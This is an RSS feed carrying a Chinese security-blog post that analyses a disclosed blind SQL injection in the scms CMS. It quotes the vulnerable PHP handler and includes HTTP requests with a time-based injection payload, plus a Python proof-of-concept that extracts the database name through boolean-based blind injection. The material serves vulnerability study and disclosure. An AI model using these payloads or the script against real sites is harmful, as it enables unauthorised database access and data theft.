<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>scms &#8211; ChaBug安全</title>
	<atom:link href="/tags/scms/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:15:53 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>scms企业建站系统盲注</title>
		<link>/audit/673.html</link>
					<comments>/audit/673.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 16 Jul 2019 05:32:43 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[scms]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=673</guid>

					<description><![CDATA[闲着无聊，看到cnvd上昨天爆出来一个scms的注入，今天分析一下。 E:\code\php\scms\js\scms.php:173 case "jssdk": $APPID =...]]></description>
										<content:encoded><![CDATA[<p>闲着无聊，看到cnvd上昨天爆出来一个<span class="wpcom_tag_link"><a href="/tags/scms" title="scms" target="_blank">scms</a></span>的<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，今天分析一下。</p>
<p>E:\code\php\scms\js\scms.php:173</p>
<pre><code class="language-php ">case "jssdk":
    $APPID = $C_wx_appid;
    $APPSECRET = $C_wx_appsecret;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid=" . $APPID . "&amp;secret=" . $APPSECRET, "");
    $access_token = json_decode($info)-&gt;access_token;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&amp;type=jsapi", "");
    $ticket = json_decode($info)-&gt;ticket;
    $url = $_POST["url"];
    $noncestr = gen_key(20);
    $timestamp = time();
    $pageid = $_POST["pageid"];
    if ($pageid == "") {
        $pageid = 1;
    }
    switch ($_POST["pagetype"]) {
        case "index":
            $img = $C_ico;
            break;
        case "text":
            $img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
            break;
        case "product":
            $img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
            break;
        case "productinfo":
            $img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
            break;
        case "news":
            $img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
            break;
        case "newsinfo":
            $img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
            break;
        case "form":
            $img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
            break;
        case "contact":
            $img = $C_ico;
            break;
        case "guestbook":
            $img = $C_ico;
            break;
    }

    $sign = sha1("jsapi_ticket=" . $ticket . "&amp;noncestr=" . $noncestr . "×tamp=" . $timestamp . "&amp;url=" . $url);

    echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";


    break;
</code></pre>
<p>可以看到<code>$pageid = $_POST["pageid"];</code>直接从POST中赋值，并且直接拼接到sql语句中。</p>
<p>过滤了一些东西，在这我给出一个payload</p>
<p>首先先判断pageid是否存在</p>
<pre><code class="language-php ">POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 30
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local/
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close

pagetype=productinfo&amp;pageid=78
</code></pre>
<p>如果存在返回包应该是包含了img字段并且有具体的图片地址，例如</p>
<pre><code class="language-json ">{"nonceStr":"merxK0Nu9iDC89zy4hGa","timestamp":"1563254507","signature":"5a8ed288f82d8292c5372636a57c43461dac8104","appid":"wxXXXXXXXXXX","img":"http://php.local/media/20151019120842158.jpg","ticket":""}
</code></pre>
<p>如果你的pageid是不存在的话，你的sleep时间将会是5的倍数</p>
<p>可以参考admintony师傅的文章<a href="https://www.t00ls.net/articles-45590.html">MySQL的逻辑运算符(and_or_xor)的工作机制研究</a></p>
<p>给出payload</p>
<pre><code class="language-http ">POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 89
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local/
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close

pagetype=productinfo&amp;pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)
</code></pre>
<p>值得一提的是scms过滤了一系列关键字比如<code>select</code> <code>update</code> <code>'</code> <code>/*</code> <code>\</code>，那么具体的payload就靠大家发挥了<br />
在这提供一个poc</p>
<pre><code class="language-python ">POC代码如下：
import requests
import urllib.parse

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'

url='http://local/js/scms.php'

def getDatabaseLength():
    print('开始爆破数据库长度。。。')
    for i in range(10):
        payload="1%0Aand%0Aif(length(database())&gt;{},1,0)#".format(i)
        payload=urllib.parse.unquote(payload)
        data = {
            'action':'jssdk',
            'pagetype':'text',
            'pageid':payload
        }
        # print(data)
        # data = urllib.parse.unquote(data)
        # print(data)
        rs = requests.post(url=url,data=data)
        rs.encode='utf-8'
        # print(rs.text)
        if "20151019102732946.jpg" not in rs.text:
            print("数据库名的长度为：{}".format(i))
            return i

def getDatabaseName():
    print('开始获取数据库名')
    databasename = ''

    length = getDatabaseLength()
    # length = 4
    for i in range(1,length+1):
        for c in chars:
            payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
            # print(payload)
            payload = urllib.parse.unquote(payload)
            data = {
                'action': 'jssdk',
                'pagetype': 'text',
                'pageid': payload
            }
            rs = requests.post(url=url, data=data)
            rs.encode = 'utf-8'
            # print(rs.text)
            if "20151019102732946.jpg" in rs.text:
                databasename = databasename+c
                print(databasename)

    return databasename
getDatabaseName()
</code></pre>
<p>总的来说应该也算一个运气洞了</p>
]]></content:encoded>
					
					<wfw:commentRss>/audit/673.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
